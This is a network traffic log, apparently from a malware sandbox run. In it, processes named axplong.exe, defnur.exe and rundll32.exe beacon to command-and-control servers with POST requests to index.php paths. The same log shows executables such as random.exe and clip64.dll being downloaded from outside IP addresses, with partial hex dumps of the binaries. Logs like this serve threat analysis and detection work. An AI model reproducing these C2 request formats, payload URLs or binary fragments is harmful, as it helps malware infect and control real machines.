Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:16:59.831053019 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 38 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008387001&unit=246122658369
Dec 23, 2024 17:17:00.563554049 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:16:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49735	31.41.244.11	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:00.881412029 CET	62	OUT	GET /files/unique1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 23, 2024 17:17:02.170546055 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:01 GMT Content-Type: application/octet-stream Content-Length: 4481024 Last-Modified: Mon, 23 Dec 2024 15:43:39 GMT Connection: keep-alive ETag: "6769852b-446000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 07 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 4a 49 00 00 4c 75 00 00 32 00 00 00 10 c8 00 00 10 00 00 00 60 49 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 40 c8 00 00 04 00 00 a6 20 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f b0 72 00 73 00 00 00 00 a0 72 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 fd c7 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 fc c7 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(JILu2`I@@ E@ _rsr r4(@.rsrcrD(@.idata rF(@ P9rH(@xxuhznbtJ(@ewnmsqqp:D@.taggant0">D@
Dec 23, 2024 17:17:02.170571089 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:02.170603991 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:02.170685053 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:02.170696974 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 23, 2024 17:17:02.170710087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: '\|XQ{jgYH475c
Dec 23, 2024 17:17:02.170768976 CET	1236	IN	Data Raw: f3 7a fa 8d 52 38 e8 57 1b 86 a5 83 3d 0a 34 cb d7 ad 2d b5 65 ea 66 81 7d f9 ee fd 48 72 ce b9 9a 6e ec 75 07 79 38 15 33 3c 07 f5 76 d3 31 aa ca a0 62 40 30 23 43 e8 25 32 ec 95 c2 70 f2 63 6c 72 2c 97 30 77 70 1b 62 df 64 ca d3 59 04 2d 39 57 Data Ascii: zR8W=4-ef}Hrnuy83<v1b@0#C%2pclr,0wpbdY-9Wu M{,0y\e0ZXRV#r-0].'EJn._HAlLys<pzuix&-:WdrNI:cFg<2@)J^"\|-
Dec 23, 2024 17:17:02.170780897 CET	1236	IN	Data Raw: 3e 08 cc 88 c4 1b 82 c9 2c e5 22 b8 78 2d 97 a1 2f 50 7f 99 08 09 18 f7 e9 66 d2 a6 ec 99 7f 1a 64 56 eb 6e fc 2b f5 36 1e 49 a7 78 db 86 56 c8 26 c2 6d 97 e8 72 53 f7 c6 1d 90 85 47 54 5a b9 e8 db 2c ae 33 42 32 ef c1 44 26 3e 45 a3 20 c8 a9 01 Data Ascii: >,"x-/PfdVn+6IxV&mrSGTZ,3B2D&>E 53C.)ug pjEu24CjfNIL~eC[TfaK$W9"%2{20)v CX8!iiOhrM&rnvxepqG
Dec 23, 2024 17:17:02.170793056 CET	896	IN	Data Raw: da 6e bd 12 e3 66 96 49 c1 98 f5 b2 04 67 5c 25 48 8c d2 09 dc 0a 5b 4f 3a 10 0b 81 22 49 8e 9b 35 f6 89 48 24 53 18 f9 2c 8f 8f 01 ec 25 10 f9 38 47 d8 25 7d 0b 90 aa 9a 4a ba aa 00 05 65 28 76 45 9c 27 f7 53 aa 27 e9 46 81 b6 69 76 78 6d 43 5a Data Ascii: nfIg\%H[O:"I5H$S,%8G%}Je(vE'S'FivxmCZqvvbnjz"s*Vc1yG9EBEf{Rx!%}"L>:dBB\sn@3}E! \vcE65^L5pC`
Dec 23, 2024 17:17:02.170931101 CET	1236	IN	Data Raw: a2 f1 05 f3 87 ae 7f a2 40 45 10 65 8c 74 97 8b dd fd e6 4d 58 fd 91 68 77 ac 89 2f af 57 6f aa 40 82 f4 4c 53 20 25 f2 2d 42 be 65 aa 72 2b 1b 2f 45 ae 2e 79 01 88 18 fc 0a 6f 20 65 cf 17 03 47 a5 73 66 25 56 3d 61 ff 28 eb 35 c7 3e 94 7c 1a 89 Data Ascii: @EetMXhw/Wo@LS %-Ber+/E.yo eGsf%V=a(5>\|QtY}4)LgDO\Ty1XKMh^`_yyMOr^poRls951c~&prD&r2\|Ea5_GC>Q5f
Dec 23, 2024 17:17:02.291002035 CET	1236	IN	Data Raw: 06 94 dc 0f eb a2 6c c0 28 e9 76 05 5c a6 6e f8 28 f9 44 eb 1e a7 70 e1 71 13 ec 67 36 a2 e7 ca db 78 85 83 af 16 e6 f9 4b b3 86 70 5e 5a 0c a2 01 ab 92 76 24 7a 3d a9 99 61 f5 b2 a7 a6 74 a2 15 99 c8 08 ea aa 4a bd 57 f6 3d f2 31 86 be 0f 26 67 Data Ascii: l(v\n(Dpqg6xKp^Zv$z=atJW=1&g\_Mq9uabK0^:SofW5/i&g1Ok?zXD?/&ONI/cnbEjw0o{KHepiTr}X9]gRb

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49736	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:05.360800982 CET	156	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:06.653079033 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49737	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:08.930947065 CET	306	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 35 45 32 41 43 36 31 37 42 35 30 44 37 39 46 41 42 31 35 30 42 45 39 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 44 35 46 33 30 46 38 45 30 34 42 32 41 37 34 36 35 42 34 46 41 34 31 30 45 42 38 43 30 41 44 43 43 45 43 46 31 44 43 43 42 37 31 43 38 34 33 44 34 31 30 30 39 32 45 30 45 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6255E2AC617B50D79FAB150BE92BB81278509C05BEA3669A52777FA6135D5F30F8E04B2A7465B4FA410EB8C0ADCCECF1DCCB71C843D410092E0E
Dec 23, 2024 17:17:10.240580082 CET	268	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 65 0d 0a 20 3c 63 3e 31 30 30 31 34 35 33 30 32 32 31 2b 2b 2b 39 37 32 38 39 64 30 33 35 31 36 65 39 34 35 66 36 61 62 64 39 31 65 32 65 66 63 38 36 36 65 32 38 62 33 37 30 63 61 38 66 39 32 37 32 37 35 31 39 35 63 65 65 37 31 35 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4e <c>10014530221+++97289d03516e945f6abd91e2efc866e28b370ca8f927275195cee715#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49738	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:11.484428883 CET	184	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 33 38 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008388001&unit=246122658369
Dec 23, 2024 17:17:12.729093075 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49739	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:12.572144985 CET	67	OUT	GET /Fru7Nk9/Plugins/clip64.dll HTTP/1.1 Host: 185.215.113.209
Dec 23, 2024 17:17:14.000325918 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:13 GMT Content-Type: application/octet-stream Content-Length: 126976 Last-Modified: Fri, 08 Nov 2024 09:03:51 GMT Connection: keep-alive ETag: "672dd3f7-1f000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c8 f9 ef 50 8c 98 81 03 8c 98 81 03 8c 98 81 03 98 f3 82 02 86 98 81 03 98 f3 84 02 05 98 81 03 98 f3 85 02 9e 98 81 03 de ed 85 02 83 98 81 03 de ed 82 02 9d 98 81 03 de ed 84 02 ad 98 81 03 98 f3 80 02 8b 98 81 03 8c 98 80 03 ed 98 81 03 40 ed 88 02 8f 98 81 03 40 ed 81 02 8d 98 81 03 40 ed 7e 03 8d 98 81 03 40 ed 83 02 8d 98 81 03 52 69 63 68 8c 98 81 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 4a b8 2d 67 00 00 00 00 00 00 00 00 e0 00 02 21 0b 01 0e 1d 00 44 01 00 00 b4 00 00 00 00 00 00 62 70 00 00 00 10 00 00 00 60 01 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$P@@@~@RichPELJ-g!Dbp`0@lPD8@`L.textCD `.rdatat`vH@@.data@.rsrc@@.reloc@B
Dec 23, 2024 17:17:14.000422001 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6a 20 68 98 ae 01 10 b9 60 e8 01 10 e8 7f 4d 00 00 68 70 29 01 10 e8 ea 5a 00 00 Data Ascii: j h`Mhp)ZYj hx_Mh)ZYjh
Dec 23, 2024 17:17:14.002494097 CET	1236	IN	Data Raw: 01 10 b9 90 e8 01 10 e8 3f 4d 00 00 68 30 2a 01 10 e8 aa 5a 00 00 59 c3 cc cc cc 6a 20 68 e8 ae 01 10 b9 a8 e8 01 10 e8 1f 4d 00 00 68 90 2a 01 10 e8 8a 5a 00 00 59 c3 cc cc cc 6a 14 68 0c af 01 10 b9 c0 e8 01 10 e8 ff 4c 00 00 68 f0 2a 01 10 e8 Data Ascii: ?Mh0ZYj hMhZYjhLhjZYjh$LhP+JZYjh=Lh+ZYjh=Lh,ZYjh= Lhp,YYjh=8_Lh,
Dec 23, 2024 17:17:14.002551079 CET	1236	IN	Data Raw: 00 00 59 c3 cc cc cc 6a 08 68 68 b2 01 10 b9 38 ec 01 10 e8 5f 48 00 00 68 d0 38 01 10 e8 ca 55 00 00 59 c3 cc cc cc 6a 10 68 74 b2 01 10 b9 50 ec 01 10 e8 3f 48 00 00 68 30 39 01 10 e8 aa 55 00 00 59 c3 cc cc cc 6a 14 68 88 b2 01 10 b9 68 ec 01 Data Ascii: Yjhh8_Hh8UYjhtP?Hh09UYjhhHh9UYjh=Gh9jUYjhGhP:JUYjhGh:*UYjhGh;UYjh
Dec 23, 2024 17:17:14.002563953 CET	1236	IN	Data Raw: 9f 43 00 00 68 10 47 01 10 e8 0a 51 00 00 59 c3 cc cc cc 6a 0c 68 58 b6 01 10 b9 e0 ef 01 10 e8 7f 43 00 00 68 70 47 01 10 e8 ea 50 00 00 59 c3 cc cc cc 6a 34 68 68 b6 01 10 b9 f8 ef 01 10 e8 5f 43 00 00 68 d0 47 01 10 e8 ca 50 00 00 59 c3 cc cc Data Ascii: ChGQYjhXChpGPYj4hh_ChGPYj(h?Ch0HPYjh(ChHPYj4h@BhHjPYj(hXBhPIJPYjh@pBhI*PY
Dec 23, 2024 17:17:14.002600908 CET	1236	IN	Data Raw: 88 ae 01 10 e8 87 48 00 00 cc cc cc cc cc cc 55 8b ec 6a ff 68 29 23 01 10 64 a1 00 00 00 00 50 81 ec 7c 04 00 00 a1 08 e0 01 10 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 8b f9 89 bd b4 fb ff ff 89 bd b8 fb ff ff 89 bd b8 fb ff ff c7 45 Data Ascii: HUjh)#dP\|3EVWPEdE}}0}HEj/h=jjjjhE0a}j
Dec 23, 2024 17:17:14.002752066 CET	1236	IN	Data Raw: 52 51 e8 03 44 00 00 83 c4 08 8b 55 34 c7 45 18 00 00 00 00 c7 45 1c 0f 00 00 00 c6 45 08 00 83 fa 10 72 2c 8b 4d 20 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 14 01 00 00 52 51 e8 bd 43 00 00 83 c4 08 8b 55 Data Ascii: RQDU4EEEr,M BrI#+RQCULE0E4E M8BI#+jGGh==9Ur(MBrI#+wvRQCU4E
Dec 23, 2024 17:17:14.002767086 CET	1120	IN	Data Raw: f3 0f 7e 40 10 66 0f d6 47 10 c7 40 10 00 00 00 00 c7 40 14 0f 00 00 00 c6 00 00 8b 55 c0 83 fa 10 72 28 8b 4d ac 42 8b c1 81 fa 00 10 00 00 72 10 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 77 7e 52 51 e8 ee 3e 00 00 83 c4 08 c6 45 fc 00 8b 55 dc Data Ascii: ~@fG@@Ur(MBrI#+w~RQ>EUEEEr(MBrI#+w8RQ>4F MdY_^M3m>]pUjh$dPSVW3PEdE
Dec 23, 2024 17:17:14.002779007 CET	1236	IN	Data Raw: 83 2f 00 00 8b 3d 70 e8 01 10 33 c9 33 c0 89 7d fc 85 db 7e 37 66 90 33 d2 3b c7 8b fe 0f 45 d0 83 3d 74 e8 01 10 10 b8 60 e8 01 10 0f 43 05 60 e8 01 10 83 7e 14 10 72 02 8b 3e 8a 04 02 88 04 0f 41 8b 7d fc 8d 42 01 3b cb 7c cb 83 7e 14 10 72 0f Data Ascii: /=p33}~7f3;E=t`C`~r>A}B;\|~r_^[]_^[]USVWQ]GCCPE.3u9u$r0Pzpu-Or<0 tr{
Dec 23, 2024 17:17:14.002794981 CET	1236	IN	Data Raw: 3b 68 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 55 8b ec 6a ff 68 4d 25 01 10 64 a1 00 00 00 00 50 83 ec 38 a1 08 e0 01 10 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 c7 45 fc 00 00 00 00 be 0f 00 00 00 c7 45 d8 00 00 00 00 c7 45 Data Ascii: ;hUjhM%dP83EVWPEdEEEuEE3E0MEEE;+;B}4E CE QMPE+r.MVrI#+RQ$5M}U~EE
Dec 23, 2024 17:17:14.121366024 CET	1236	IN	Data Raw: c0 fc 83 f8 1f 0f 87 d5 00 00 00 52 51 e8 1c 31 00 00 83 c4 08 8b 45 18 47 3b f8 0f 82 2e ff ff ff be 01 00 00 00 8b 55 d4 83 fa 10 72 2c 8b 4d c0 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc 83 f8 1f 0f 87 90 00 00 00 52 51 Data Ascii: RQ1EG;.Ur,MBrI#+RQ0UraMBrII#+w`7Ur(MBrI#+w8RQ03mRQn0MdY_^M3D0]bu'Uj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49741	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:13.317545891 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:14.645715952 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:14.760293961 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:15.202009916 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49742	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:15.678114891 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 23, 2024 17:17:16.978420973 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Dec 23, 2024 17:17:17.024444103 CET	306	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 152 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 45 46 38 41 30 34 46 43 39 46 33 46 44 33 33 43 32 31 38 42 41 42 38 30 38 31 43 34 35 32 45 33 44 43 37 45 37 34 37 36 43 39 44 39 30 46 46 31 46 33 32 38 38 31 46 35 31 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CEF8A04FC9F3FD33C218BAB8081C452E3DC7E7476C9D90FF1F32881F51
Dec 23, 2024 17:17:17.741935015 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49743	185.215.113.209	80	1416	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:16.730168104 CET	157	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 5 Cache-Control: no-cache Data Raw: 77 6c 74 3d 31 Data Ascii: wlt=1
Dec 23, 2024 17:17:18.082216978 CET	719	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 31 30 0d 0a 20 2b 2b 2b 5f 31 5f 39 64 33 66 64 38 30 32 31 38 32 64 63 31 35 61 33 34 61 31 39 37 62 36 66 63 64 34 36 61 62 39 38 65 36 30 30 63 62 64 61 65 36 64 33 64 35 33 39 34 39 38 66 31 30 32 35 61 62 38 37 61 65 37 30 32 37 31 30 30 39 32 31 66 65 37 61 36 36 61 64 66 35 66 2d 31 2d 5f 32 5f 63 66 32 34 64 31 34 61 32 65 37 32 38 66 36 39 36 36 66 62 63 34 66 64 62 61 63 36 33 65 38 38 64 38 33 39 35 39 66 62 66 65 36 30 34 64 30 64 64 38 39 32 66 31 33 33 35 63 65 63 32 64 39 33 35 33 32 33 35 33 63 39 35 38 62 32 64 30 36 36 64 38 32 63 2d 32 2d 5f 33 5f 62 33 33 38 62 30 30 30 31 62 31 36 63 39 31 61 36 64 61 32 61 35 66 66 64 36 65 39 34 35 39 39 39 65 33 35 30 32 61 64 61 62 36 32 37 64 30 30 38 62 64 39 38 31 33 34 30 36 62 33 37 35 65 36 32 66 33 34 2d 33 2d 5f 34 5f 62 62 31 65 38 33 30 39 30 64 32 37 64 32 31 66 37 36 61 34 39 63 38 30 64 64 63 35 35 65 38 61 61 31 30 61 30 66 38 32 63 64 32 32 35 32 30 30 39 64 63 31 61 36 33 62 31 37 39 37 35 61 62 36 30 39 32 34 2d 34 2d 5f [TRUNCATED] Data Ascii: 210 +++_1_9d3fd802182dc15a34a197b6fcd46ab98e600cbdae6d3d539498f1025ab87ae7027100921fe7a66adf5f-1-_2_cf24d14a2e728f6966fbc4fdbac63e88d83959fbfe604d0dd892f1335cec2d93532353c958b2d066d82c-2-_3_b338b0001b16c91a6da2a5ffd6e945999e3502adab627d008bd9813406b375e62f34-3-_4_bb1e83090d27d21f76a49c80ddc55e8aa10a0f82cd2252009dc1a63b17975ab60924-4-_5_cb6e9311310c8e4379abc0a5c8f445fa85202ea2cd644c67acdd8c1d29802fad530917bf35e9df7fbb222d5a864a590c4cb89946377e3495e61b5cee99c1e7e2f3acbb7efa33ae2709267151cf0cd6291f8143482349f9acf21b3d784e272d-5-0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49746	185.215.113.209	80	6736	C:\Users\user\AppData\Local\Temp\fc9e0aaab7\defnur.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:18.170474052 CET	185	OUT	POST /Fru7Nk9/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.209 Content-Length: 32 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 31 34 35 33 30 32 32 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=10014530221&unit=246122658369
Dec 23, 2024 17:17:19.240274906 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 23 Dec 2024 16:17:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.9	49747	185.215.113.16	80	3236	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Dec 23, 2024 17:17:18.515325069 CET	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
